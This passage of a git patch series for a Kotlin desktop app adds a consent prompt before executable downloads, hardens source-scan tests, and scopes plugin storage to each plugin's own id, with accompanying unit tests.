b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsManager.kt @@ -26,11 +26,19 @@ data class BrowserSettingsData( val offerToSavePasswords: Boolean = true, // Tab sharing — show the co-browse share (QR) button in the browser toolbar (off by default) val showShareButton: Boolean = false, + // Ask for consent before saving a file with a recognized executable extension (on by default) + val warnForExecutables: Boolean = true, ) object BrowserSettingsManager { private val logger = BossLogger.forComponent("BrowserSettingsManager") - private val settingsFile = BossDirectories.resolve("browser-settings.json") + + /** + * `internal var` so a test can point it at a temp file, matching + * `DefaultAppsSettingsManager`. desktopTest already isolates user.home; this seam + * additionally isolates round trips from other tests sharing that home and JVM. + */ + internal var settingsFile = BossDirectories.resolve("browser-settings.json") private val json = Json { prettyPrint = true @@ -54,6 +62,17 @@ object BrowserSettingsManager { */ fun ensureLoaded() { /* referencing this object already ran loadSettingsSync() */ } + /** + * Test seam: re-run the synchronous load so a [saveSettings] is visible without a process restart. + * + * Named for the [DefaultAppsSettingsManager.resetForTest] precedent but with deliberately + * different semantics: this one does not reset to defaults, it re-reads. A failed load keeps + * the in-memory values rather than clobbering them, like [loadSettingsSync] does at startup. + */ + internal fun reloadForTest() { + loadSettingsSync() + } + private fun loadSettingsSync() { try { if (settingsFile.exists()) { @@ -73,6 +92,7 @@ object BrowserSettingsManager { BrowserSettings.offerToSavePasswords = settings.offerToSavePasswords // Tab sharing (setter mirrors to the system property the plugin reads) BrowserSettings.showShareButton = settings.showShareButton + BrowserSettings.warnForExecutables = settings.warnForExecutables // Update available profiles if we have more if (settings.availableProfiles.isNotEmpty()) { @@ -100,6 +120,7 @@ object BrowserSettingsManager { suggestPasswords = BrowserSettings.suggestPasswords, offerToSavePasswords = BrowserSettings.offerToSavePasswords, showShareButton = BrowserSettings.showShareButton, + warnForExecutables = BrowserSettings.warnForExecutables, ) val content = json.encodeToString(settings) diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsent.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsent.kt new file mode 100644 index 0000000000..1a26165f84 --- /dev/null +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsent.kt @@ -0,0 +1,33 @@ +package ai.rever.boss.plugin.browser + +import ai.rever.boss.platform.FileNameSanitizer +import ai.rever.boss.platform.FileSystemUtils + +/** Check both names: a save-dialog rename can add or remove an executable extension. */ +internal fun executableDownloadAllowed( + warnForExecutables: Boolean, + suggestedFileName: String, + savedFileName: String, + confirm: (String) -> Boolean, +): Boolean { + if (!warnForExecutables) return true + val executable = + FileNameSanitizer.isExecutableFile(suggestedFileName) || FileNameSanitizer.isExecutableFile(savedFileName) + return !executable || confirm(savedFileName) +} + +/** No terminal listeners exist yet; keep URL suppression until cancellation has been answered. */ +internal fun cancelPendingDownload( + savePath: String?, + downloadId: String, + downloadUrl: String, + activeDownloadUrls: MutableSet, + cancel: () -> Unit, +) { + savePath?.let { FileSystemUtils.releaseFilePath(it, owner = downloadId) } + try { + cancel() + } finally { + activeDownloadUrls.remove(downloadUrl) + } +} diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/FluckEngine.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/FluckEngine.kt index 4fdb6e2db6..6bb82f1a5a 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/FluckEngine.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/FluckEngine.kt @@ -10,6 +10,7 @@ import ai.rever.boss.config.JxBrowserConfig import ai.rever.boss.platform.FileNameSanitizer import ai.rever.boss.platform.FileSystemUtils import ai.rever.boss.platform.MacOSScreenCapture +import ai.rever.boss.platform.confirmExecutableDownload import ai.rever.boss.platform.pickSaveFile import ai.rever.boss.plugin.pathutils.BossDirectories import ai.rever.boss.plugin.ui.BossThemeController @@ -3256,16 +3257,24 @@ object FluckEngine { if (!FileSystemUtils.ensureParentDirectoryExists(savePath)) { // Bailing before setupDownloadEventListeners means none of the three // terminal handlers will run, so the claim is released here or never. - FileSystemUtils.releaseFilePath(savePath, owner = downloadId) - action.cancel() + cancelPendingDownload(savePath, downloadId, downloadUrl, activeDownloadUrls, action::cancel) return@StartDownloadCallback } - // Warn for executable files - if (downloadSettings.warnForExecutables && - FileNameSanitizer.isExecutableFile(sanitizedFileName) + // Warn for executable files. Read live from BrowserSettings, not the + // unpersisted downloadSettings copy, so a toggle in Settings > Browser > + // Downloads applies to this download without an application restart. + if (!executableDownloadAllowed( + BrowserSettings.warnForExecutables, + sanitizedFileName, + savedFileName, + ::confirmExecutableDownload, + ) ) { - // TODO: Show user warning dialog (for now, just proceed) + // Same cleanup as the parent-directory-failure bail above: none of + // the three terminal handlers will run, so the claim is released here. + cancelPendingDownload(savePath, downloadId, downloadUrl, activeDownloadUrls, action::cancel) + return@StartDownloadCallback } // Start the download @@ -3320,8 +3329,8 @@ object FluckEngine { // Initiate the download action.download(downloadPath) } else { - // User cancelled save dialog - action.cancel() + // No terminal listener is registered when the save dialog is cancelled. + cancelPendingDownload(null, downloadId, downloadUrl, activeDownloadUrls, action::cancel) } }, ) diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt index 23df722031..60414ca433 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt @@ -531,6 +531,19 @@ actual object WindowFocusManager { registeredWindowIds = windows.keys, ) + /** + * Every registered window, ordered the same way [resolveActionableWindowId] prioritizes ids - + * the resolved id's window first (when it still resolves to one), then every other registered + * window. For a caller that needs an actual usable owner rather than just an id: a window this + * function names can be disposed-but-not-yet-unregistered (the EDT unregister hasn't run yet), + * so a caller like [ai.rever.boss.platform.pickDialogOwner] still has to check `isDisplayable` + * itself - this only fixes "which windows are worth checking", not "is the first one usable". + */ + fun candidateWindowsForDialogOwner(): List { + val primary = resolveActionableWindowId()?.let(::getWindow) + return listOfNotNull(primary) + windows.values.filter { it !== primary } + } + /** * Bring a specific window to front by its ID * diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/platform/ExecutableDownloadDialogTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/platform/ExecutableDownloadDialogTest.kt new file mode 100644 index 0000000000..d764029c82 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/platform/ExecutableDownloadDialogTest.kt @@ -0,0 +1,114 @@ +package ai.rever.boss.platform + +import org.junit.jupiter.api.Assumptions.assumeTrue +import java.awt.Frame +import java.awt.GraphicsEnvironment +import javax.swing.SwingUtilities +import kotlin.test.AfterTest +import kotlin.test.Test +import kotlin.test.assertFalse +import kotlin.test.assertNull +import kotlin.test.assertSame +import kotlin.test.assertTrue + +class ExecutableDownloadDialogTest { + // addNotify() creates the AWT peer (and so flips isDisplayable) without setVisible(true), + // so these never actually appear on screen - the property pickDialogOwner reads, exercised + // without a real visible window. Constructing a Frame at all throws HeadlessException on a + // display-less CI runner (ubuntu-latest here), before isDisplayable ever comes into it - so + // callers skip rather than fail where no display exists, the same way TabPathsTest skips its + // OS-specific path cases. + private val displayableFrames = mutableListOf() + + private fun displayableFrame(): Frame { + assumeTrue(!GraphicsEnvironment.isHeadless(), "needs a real display to construct an AWT Frame") + return Frame().also { it.addNotify() }.also(displayableFrames::add) + } + + private fun nonDisplayableFrame(): Frame { + assumeTrue(!GraphicsEnvironment.isHeadless(), "needs a real display to construct an AWT Frame") + return Frame().also(displayableFrames::add) + } + + @AfterTest + fun disposeFrames() { + displayableFrames.forEach { it.dispose() } + displayableFrames.clear() + } + + @Test + fun `only explicit acceptance permits the download`() { + assertTrue(confirmExecutableDownloadOnEdt { 0 }) + assertFalse(confirmExecutableDownloadOnEdt { 1 }) + assertFalse(confirmExecutableDownloadOnEdt { -1 }) + assertFalse(confirmExecutableDownloadOnEdt { 2 }) + } + + @Test + fun `a worker dispatches the prompt to the EDT and waits for the answer`() { + assertFalse(SwingUtilities.isEventDispatchThread()) + assertTrue( + confirmExecutableDownloadOnEdt { + assertTrue(SwingUtilities.isEventDispatchThread()) + 0 + }, + ) + } + + @Test + fun `an EDT caller can answer without invoking and waiting on itself`() { + SwingUtilities.invokeAndWait { + assertTrue(confirmExecutableDownloadOnEdt { 0 }) + assertFalse(confirmExecutableDownloadOnEdt { error("Dialog unavailable") }) + } + } + + @Test + fun `dialog creation failure cancels the download`() { + assertFalse(confirmExecutableDownloadOnEdt { throw java.awt.HeadlessException() }) + } + + // ---- pickDialogOwner: BossConsole#484 review R1/R2 ---- + + @Test + fun `a displayable active window wins over every candidate`() { + val active = displayableFrame() + val candidate = displayableFrame() + assertSame(active, pickDialogOwner(active, listOf(candidate))) + } + + @Test + fun `a non-displayable active window falls back to the first displayable candidate`() { + val active = nonDisplayableFrame() + val candidate = displayableFrame() + assertSame(candidate, pickDialogOwner(active, listOf(candidate))) + } + + @Test + fun `a null active window falls back to the candidates the same way`() { + val candidate = displayableFrame() + assertSame(candidate, pickDialogOwner(null, listOf(candidate))) + } + + @Test + fun `a non-displayable first candidate does not refuse when a later one is usable`() { + // R2: resolveActionableWindowId names exactly one id, which can be a window that has been + // disposed but not yet unregistered - the fix is scanning every registered window rather + // than refusing on the first miss. + val stale = nonDisplayableFrame() + val usable = displayableFrame() + assertSame(usable, pickDialogOwner(null, listOf(stale, usable))) + } + + @Test + fun `no displayable window anywhere refuses rather than orphaning a modal`() { + val active = nonDisplayableFrame() + val candidate = nonDisplayableFrame() + assertNull(pickDialogOwner(active, listOf(candidate))) + } + + @Test + fun `no candidates at all refuses`() { + assertNull(pickDialogOwner(null, emptyList())) + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsWarnForExecutablesTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsWarnForExecutablesTest.kt new file mode 100644 index 0000000000..71042c5fcc --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsWarnForExecutablesTest.kt @@ -0,0 +1,144 @@ +package ai.rever.boss.plugin.browser + +import kotlinx.coroutines.runBlocking +import org.junit.jupiter.api.AfterEach +import org.junit.jupiter.api.BeforeEach +import org.junit.jupiter.api.Test +import org.junit.jupiter.api.io.TempDir +import java.io.File +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +/** + * Settings > Browser > Downloads > "Warn before downloading executable files". + * + * Unlike the four toggles [BrowserSettingsMirrorTest] covers, this one has no system-property + * mirror: FluckEngine's download handler lives in the host, not a separately classloaded plugin, + * so a plain read of [BrowserSettings.warnForExecutables] is enough to reach it without a restart. + * + * The round-trip tests point [BrowserSettingsManager.settingsFile] at a temp file - the same + * seam [DefaultAppsSettingsManager] uses - so they exercise the real saveSettings/load path + * rather than a re-statement of the assignment. + */ +class BrowserSettingsWarnForExecutablesTest { + @TempDir + lateinit var dir: File + + private lateinit var originalFile: File + + // The whole persisted shape, snapshotted and restored per test. reloadForTest() rewrites + // every field the manager applies - including the four that mirror to system properties - + // so restoring one field would leave the other ten (and their mirrors) at whatever a temp + // file last loaded. + private lateinit var original: PersistedState + + private data class PersistedState( + val userAgent: String?, + val customUserAgent: String?, + val currentProfile: String, + val availableProfiles: List, + val maxInitRetries: Int, + val maxRecoveryAttempts: Int, + val discretePasswordFill: Boolean, + val suggestPasswords: Boolean, + val offerToSavePasswords: Boolean, + val showShareButton: Boolean, + val warnForExecutables: Boolean, + ) + + private fun snapshot() = + PersistedState( + userAgent = BrowserSettings.userAgent, + customUserAgent = BrowserSettings.customUserAgent, + currentProfile = BrowserSettings.currentProfile, + availableProfiles = BrowserSettings.availableProfiles.toList(), + maxInitRetries = BrowserSettings.maxInitRetries, + maxRecoveryAttempts = BrowserSettings.maxRecoveryAttempts, + discretePasswordFill = BrowserSettings.discretePasswordFill, + suggestPasswords = BrowserSettings.suggestPasswords, + offerToSavePasswords = BrowserSettings.offerToSavePasswords, + showShareButton = BrowserSettings.showShareButton, + warnForExecutables = BrowserSettings.warnForExecutables, + ) + + @BeforeEach + fun pointAtTempFile() { + // Initialize before snapshotting. desktopTest isolates user.home, while the temp + // file seam also isolates each round trip from the other tests in this JVM. + originalFile = BrowserSettingsManager.settingsFile + original = snapshot() + BrowserSettingsManager.settingsFile = File(dir, "browser-settings.json") + } + + @AfterEach + fun restore() { + BrowserSettingsManager.settingsFile = originalFile + with(original) { + BrowserSettings.userAgent = userAgent + BrowserSettings.customUserAgent = customUserAgent + BrowserSettings.currentProfile = currentProfile + BrowserSettings.availableProfiles.clear() + BrowserSettings.availableProfiles.addAll(availableProfiles) + BrowserSettings.maxInitRetries = maxInitRetries + BrowserSettings.maxRecoveryAttempts = maxRecoveryAttempts + BrowserSettings.discretePasswordFill = discretePasswordFill + BrowserSettings.suggestPasswords = suggestPasswords + BrowserSettings.offerToSavePasswords = offerToSavePasswords + BrowserSettings.showShareButton = showShareButton + BrowserSettings.warnForExecutables = warnForExecutables + } + } + + @Test + fun `the persisted shape defaults to on`() { + // desktopTest starts with an empty isolated home. The pre-mutation snapshot pins + // first launch without a file; the data default pins upgrades lacking this key. + assertTrue(original.warnForExecutables, "first launch must enable the warning") + assertTrue(BrowserSettingsData().warnForExecutables) + } + + @Test + fun `both values survive the real save and load`() { + for (value in listOf(false, true)) { + BrowserSettings.warnForExecutables = value + runBlocking { BrowserSettingsManager.saveSettings() } + // Move the in-memory value away first, so the assertion measures the reload + // rather than the assignment: deleting the load-apply in BrowserSettingsManager + // must fail this test. + BrowserSettings.warnForExecutables = !value + BrowserSettingsManager.reloadForTest() + assertEquals( + value, + BrowserSettings.warnForExecutables, + "warnForExecutables=$value did not survive saveSettings + reload", + ) + } + } + + @Test + fun `a settings file predating the key loads as on, so an upgrade keeps the warning`() { + BrowserSettings.warnForExecutables = false + // The shape an earlier build wrote: every field except warnForExecutables. + BrowserSettingsManager.settingsFile.writeText( + """ + { + "currentProfile": "browser-profile", + "availableProfiles": [ + "browser-profile" + ] + } + """.trimIndent(), + ) + BrowserSettingsManager.reloadForTest() + assertTrue(BrowserSettings.warnForExecutables, "a file without the key must load as on") + } + + @Test + fun `a corrupt settings file does not crash the load or clobber the in-memory value`() { + BrowserSettings.warnForExecutables = false + BrowserSettingsManager.settingsFile.writeText("{ not json") + BrowserSettingsManager.reloadForTest() + assertFalse(BrowserSettings.warnForExecutables, "a failed load must keep the in-memory value") + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsentTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsentTest.kt new file mode 100644 index 0000000000..be1d7b4c29 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsentTest.kt @@ -0,0 +1,148 @@ +package ai.rever.boss.plugin.browser + +import ai.rever.boss.platform.FileSystemUtils +import ai.rever.boss.testsupport.repoRoot +import java.io.File +import java.nio.file.Files +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertFalse +import kotlin.test.assertNotEquals +import kotlin.test.assertTrue + +class ExecutableDownloadConsentTest { + @Test + fun `renaming a text file to an executable still asks for consent`() { + var shownName: String? = null + var prompts = 0 + assertFalse( + executableDownloadAllowed(true, "report.txt", "report.EXE") { + shownName = it + prompts++ + false + }, + ) + assertEquals("report.EXE", shownName) + assertEquals(1, prompts) + } + + @Test + fun `renaming an executable does not bypass the original warning`() { + assertFalse(executableDownloadAllowed(true, "setup.sh", "setup.txt") { false }) + assertTrue(executableDownloadAllowed(true, "setup.sh", "setup.txt") { true }) + } + + @Test + fun `ordinary files and disabled warnings never prompt`() { + val unexpectedPrompt: (String) -> Boolean = { error("Unexpected prompt") } + assertTrue(executableDownloadAllowed(true, "report.pdf", "report (1).pdf", unexpectedPrompt)) + assertTrue(executableDownloadAllowed(false, "setup.exe", "setup.exe", unexpectedPrompt)) + } + + @Test + fun `the download handler reads the live BrowserSettings toggle, not a cached copy`() { + // The call site cannot be exercised without a JxBrowser license, so it is pinned + // textually in the style of SettingsSearchIndexDriftTest. Reverting the first argument + // to the unpersisted downloadSettings copy would silently disarm the Settings > Browser + // > Downloads toggle for every download, and a behavioural test re-implementing the + // call site would stay green through exactly that regression. + val fluckEngine = "composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/FluckEngine.kt" + val source = File(repoRoot(), fluckEngine).readText() + val start = source.indexOf("executableDownloadAllowed(") + assertTrue(start >= 0, "executableDownloadAllowed call site missing from FluckEngine") + var depth = 0 + var end = -1 + for (index in start..source.lastIndex) { + when (source[index]) { + '(' -> { + depth++ + } + + ')' -> { + depth-- + if (depth == 0) { + end = index + break + } + } + } + } + assertTrue(end > start, "unbalanced parentheses around the executableDownloadAllowed call") + val arguments = source.substring(start, end + 1) + assertTrue( + arguments.contains("BrowserSettings.warnForExecutables"), + "the download handler must read BrowserSettings.warnForExecutables live at the call site", + ) + assertFalse( + arguments.contains("downloadSettings.warnForExecutables"), + "the download handler must not read the unpersisted downloadSettings copy", + ) + } + + @Test + fun `declining releases the path and keeps URL suppression until cancellation completes`() { + val directory = Files.createTempDirectory("download-consent").toFile() + val owner = "declined-download" + val path = FileSystemUtils.generateUniqueFilePath(directory.path, "setup.exe", owner) + val urls = mutableSetOf("https://example.test/setup.exe") + var cancels = 0 + try { + cancelPendingDownload(path, owner, urls.single(), urls) { + assertEquals(setOf("https://example.test/setup.exe"), urls) + val next = FileSystemUtils.generateUniqueFilePath(directory.path, "setup.exe", "retry") + try { + assertEquals(path, next, "Cancel must leave the original filename available") + } finally { + FileSystemUtils.releaseFilePath(next, "retry") + } + cancels++ + } + assertEquals(1, cancels) + assertTrue(urls.isEmpty()) + assertFalse(java.io.File(path).exists()) + } finally { + FileSystemUtils.releaseFilePath(path, owner) + directory.deleteRecursively() + } + } + + @Test + fun `cancelling a save-dialog path never releases another downloads claim`() { + val directory = Files.createTempDirectory("download-consent-owner").toFile() + val path = FileSystemUtils.generateUniqueFilePath(directory.path, "setup.exe", "other") + try { + cancelPendingDownload(path, "dialog", "url", mutableSetOf("url")) { } + val next = FileSystemUtils.generateUniqueFilePath(directory.path, "setup.exe", "next") + try { + assertNotEquals(path, next) + } finally { + FileSystemUtils.releaseFilePath(next, "next") + } + } finally { + FileSystemUtils.releaseFilePath(path, "other") + directory.deleteRecursively() + } + } + + @Test + fun `cancelling the save dialog clears its URL without a claimed path`() { + val urls = mutableSetOf("url") + var cancels = 0 + cancelPendingDownload(null, "dialog", "url", urls) { cancels++ } + assertTrue(urls.isEmpty()) + assertEquals(1, cancels) + } + + @Test + fun `a failed cancellation still releases URL tracking`() { + val urls = mutableSetOf("url") + assertFailsWith { + cancelPendingDownload(null, "dialog", "url", urls) { + assertEquals(setOf("url"), urls) + error("browser disposed") + } + } + assertTrue(urls.isEmpty()) + } +} From 4680dbe896aac13767303b22adc5aef1c2a5c6f4 Mon Sep 17 00:00:00 2001 From: Shikhar Goel Date: Mon, 14 Sep 2026 09:36:56 +0530 Subject: [PATCH 03/28] test: harden source convention scans (#508) Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> --- .../overlays/NoRawDialogConventionTest.kt | 4 +-- .../ai/rever/boss/testsupport/RepoRoot.kt | 15 ++++++++-- .../ai/rever/boss/testsupport/RepoRootTest.kt | 28 +++++++++++++++++++ 3 files changed, 43 insertions(+), 4 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRootTest.kt diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/NoRawDialogConventionTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/NoRawDialogConventionTest.kt index 98a25b560b..c4a736b166 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/NoRawDialogConventionTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/NoRawDialogConventionTest.kt @@ -26,7 +26,7 @@ class NoRawDialogConventionTest { private val allowed = setOf( // The routing primitive itself: its lightweight branch IS the plain Dialog. - "BossDialog.kt", + "plugin-platform/plugin-ui-core/src/commonMain/kotlin/ai/rever/boss/plugin/ui/BossDialog.kt", ) @Test @@ -34,7 +34,7 @@ class NoRawDialogConventionTest { val root = repoRoot() val offenders = kotlinSourcesUnder(root, "composeApp/src", "plugin-platform") - .filter { it.name !in allowed } + .filter { it.relativeTo(root).invariantSeparatorsPath !in allowed } .filter { file -> file.readLines().any { it.trim() == "import androidx.compose.ui.window.Dialog" } }.map { it.relativeTo(root).path } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRoot.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRoot.kt index 255a32e0ef..3b08953740 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRoot.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRoot.kt @@ -19,12 +19,23 @@ fun repoRoot(): File { error("could not locate the repository root from ${File(".").absolutePath}") } -/** Every `.kt` file under the given repo-relative roots that exist. */ +/** + * Every source `.kt` file under the given repo-relative roots that exist. + * + * Generated sources are deliberately excluded. Convention tests use this helper to police the + * checked-in source tree; scanning `build/` makes their result depend on which Gradle tasks happened + * to run first and lets generated copies create false positives. + */ fun kotlinSourcesUnder( root: File, vararg relativeRoots: String, ): List { val roots = relativeRoots.map { File(root, it) }.filter { it.isDirectory } check(roots.isNotEmpty()) { "none of ${relativeRoots.toList()} found under $root" } - return roots.flatMap { it.walkTopDown().filter { f -> f.isFile && f.extension == "kt" } } + return roots.flatMap { sourceRoot -> + sourceRoot + .walkTopDown() + .onEnter { directory -> directory.name != "build" } + .filter { file -> file.isFile && file.extension == "kt" } + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRootTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRootTest.kt new file mode 100644 index 0000000000..4f00fb99df --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/testsupport/RepoRootTest.kt @@ -0,0 +1,28 @@ +package ai.rever.boss.testsupport + +import java.nio.file.Files +import kotlin.test.Test +import kotlin.test.assertEquals + +class RepoRootTest { + @Test + fun `source scan excludes generated build trees`() { + val root = Files.createTempDirectory("boss-source-scan").toFile() + try { + val source = + root.resolve("module/src/main/kotlin/Source.kt").apply { + parentFile.mkdirs() + writeText("class Source") + } + root.resolve("module/src/main/kotlin/notes.txt").writeText("not Kotlin") + root.resolve("module/src/build/generated/kotlin/Generated.kt").apply { + parentFile.mkdirs() + writeText("class Generated") + } + + assertEquals(listOf(source), kotlinSourcesUnder(root, "module/src")) + } finally { + root.deleteRecursively() + } + } +} From d073acc4ae8e2f7eb33faec34ea40107428135bd Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 09:37:29 +0530 Subject: [PATCH 04/28] fix(plugins): scope PluginStorageFactory.createStorage to the calling plugin's own id (#548) * fix(plugins): scope PluginStorageFactory.createStorage to the calling plugin's own id TrackingPluginContext (the only PluginContext a plugin's own code ever holds - every registration path wraps createSandboxedContext in one before calling register()) exposed the raw, unscoped PluginStorageFactory straight through from its delegate. That factory takes an arbitrary pluginId per call and the desktop implementation persists purely off that string (~/.boss/plugin-data/{pluginId}/storage.properties), with no check anywhere that it names the caller. Any installed plugin could reach another plugin's persisted data with nothing more than: context.pluginStorageFactory?.createStorage("victim-plugin-id") - read, overwrite, or clear() it. Added ScopedPluginStorageFactory, which binds createStorage to the context's own pluginId (a construction-time value the plugin does not control) and ignores whatever id the caller passes in - the same pattern DownloadCenterProviderImpl.forPlugin already uses to keep one plugin's transfer ids from colliding with or addressing another's. SandboxedPluginContext is untouched: it already passed downloadCenterProvider through unscoped in the same way, since TrackingPluginContext wraps it and is the only context a plugin ever sees - matching that existing, working precedent rather than adding a second, redundant scoping layer. Added tests/TrackingPluginContextStorageScopeTest.kt: the underlying factory is only ever asked for the context's own plugin id regardless of what a caller requests, and a write made through one plugin's storage reference never lands in another plugin's real storage. Co-Authored-By: Claude Sonnet 5 * test(plugins): model shared storage in isolation regression * test(plugins): assert scoped provider identity and document boundary --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang --- .../plugin/TrackingPluginContext.kt | 29 ++- .../TrackingPluginContextStorageScopeTest.kt | 188 ++++++++++++++++++ .../sandbox/context/SandboxedPluginContext.kt | 2 + 3 files changed, 217 insertions(+), 2 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/TrackingPluginContextStorageScopeTest.kt diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/TrackingPluginContext.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/TrackingPluginContext.kt index 51a7b68cf6..d8378c1382 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/TrackingPluginContext.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/TrackingPluginContext.kt @@ -37,6 +37,7 @@ import ai.rever.boss.plugin.api.PluginContext import ai.rever.boss.plugin.api.PluginManifest import ai.rever.boss.plugin.api.PluginSandboxRef import ai.rever.boss.plugin.api.PluginStorageFactory +import ai.rever.boss.plugin.api.PluginStorageProvider import ai.rever.boss.plugin.api.PluginStoreApiKeyProvider import ai.rever.boss.plugin.api.ProjectSearchProvider import ai.rever.boss.plugin.api.RoleManagementProvider @@ -384,8 +385,11 @@ class TrackingPluginContext( // Phase 4: Application event bus - delegate to underlying context override val applicationEventBus: ApplicationEventBus? get() = delegate.applicationEventBus - // Phase 4: Plugin storage factory - delegate to underlying context - override val pluginStorageFactory: PluginStorageFactory? get() = delegate.pluginStorageFactory + // Phase 4: Plugin storage factory - bound to this plugin's own id (see + // ScopedPluginStorageFactory below), not a bare pass-through to the delegate. + override val pluginStorageFactory: PluginStorageFactory? by lazy { + delegate.pluginStorageFactory?.let { ScopedPluginStorageFactory(pluginId, it) } + } // Phase 4: Generic dialog provider - delegate to underlying context override val genericDialogProvider: GenericDialogProvider? get() = delegate.genericDialogProvider @@ -552,3 +556,24 @@ class TrackingPluginContext( tracker.clearPlugin(pluginId) } } + +/** + * Binds [PluginStorageFactory.createStorage] to the plugin that owns this context, + * ignoring whatever pluginId the caller passes in. + * + * The underlying factory persists to `~/.boss/plugin-data/{pluginId}/storage.properties` + * keyed purely by the `pluginId` argument `createStorage` is called with - there is no + * check anywhere that this id is the caller's own. Exposing the raw factory (as this + * context used to) let any installed plugin call `createStorage("some-other-plugin-id")` + * and read, overwrite, or `clear()` a different plugin's persisted data. Mirrors + * DownloadCenterProviderImpl.forPlugin: identity is bound once at construction, from a + * manifest identity registered by the host, rather than a per-call argument. This + * scopes the supported API only: in-process plugins can still access JVM/filesystem + * facilities, so this wrapper is not a security sandbox. + */ +private class ScopedPluginStorageFactory( + private val ownPluginId: String, + private val delegate: PluginStorageFactory, +) : PluginStorageFactory { + override fun createStorage(pluginId: String): PluginStorageProvider = delegate.createStorage(ownPluginId) +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/TrackingPluginContextStorageScopeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/TrackingPluginContextStorageScopeTest.kt new file mode 100644 index 0000000000..31bbd65bbd --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/TrackingPluginContextStorageScopeTest.kt @@ -0,0 +1,188 @@ +package ai.rever.boss.components.plugin + +import ai.rever.boss.plugin.api.PanelRegistry +import ai.rever.boss.plugin.api.PluginContext +import ai.rever.boss.plugin.api.PluginStorageFactory +import ai.rever.boss.plugin.api.PluginStorageProvider +import ai.rever.boss.plugin.api.TabRegistry +import kotlinx.coroutines.CoroutineScope +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.SupervisorJob +import kotlinx.coroutines.flow.Flow +import kotlinx.coroutines.flow.MutableSharedFlow +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +/** + * A raw [PluginStorageFactory] takes an arbitrary `pluginId` per call and the desktop + * implementation persists purely off that string + * (`~/.boss/plugin-data/{pluginId}/storage.properties`) with no check that it names the + * calling plugin. [TrackingPluginContext] is the only [PluginContext] a plugin's own code + * ever holds (see DynamicPluginManager: every registration path wraps + * `createSandboxedContext` in a `TrackingPluginContext` before calling `register()`), so + * before this fix a plugin could reach another plugin's storage by simply passing its id: + * `context.pluginStorageFactory?.createStorage("victim-plugin")`. + * + * These tests exercise [TrackingPluginContext.pluginStorageFactory] directly against a + * fake delegate factory, proving the id it actually asks the delegate for is always the + * context's own `pluginId`, never the caller-supplied one. + */ +class TrackingPluginContextStorageScopeTest { + /** Records which id it was actually asked to create storage for. */ + private class FakeStorageFactory : PluginStorageFactory { + val requestedIds = mutableListOf() + private val stores = mutableMapOf() + + override fun createStorage(pluginId: String): PluginStorageProvider { + requestedIds += pluginId + return stores.getOrPut(pluginId) { FakeStorageProvider(pluginId) } + } + } + + /** Minimal in-memory provider - only identity matters for these tests. */ + private class FakeStorageProvider( + private val id: String, + ) : PluginStorageProvider { + private val changes = MutableSharedFlow(extraBufferCapacity = 